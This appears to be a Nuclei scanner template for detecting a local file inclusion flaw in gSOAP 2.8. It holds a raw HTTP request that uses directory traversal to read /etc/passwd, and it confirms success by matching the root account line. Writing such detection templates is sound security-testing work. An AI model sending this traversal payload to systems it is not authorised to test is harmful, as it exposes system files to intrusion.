id: gsoap-lfi

info:
  name: gSOAP 2.8 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: gSOAP 2.8 is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/47653
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: edb,gsoap,lfi

http:
  - raw:
      - |
        GET /../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
        Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
        Connection: close

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202aa03f076a60663cdde407b859af40751b8392b703727b877b91fa0e74dc00ba022100d6b29cc859e303836c3fb6e17f8e1397a9484262b796547f0d175bfb485970d8:922c64590222798bb761d5b6d8e72950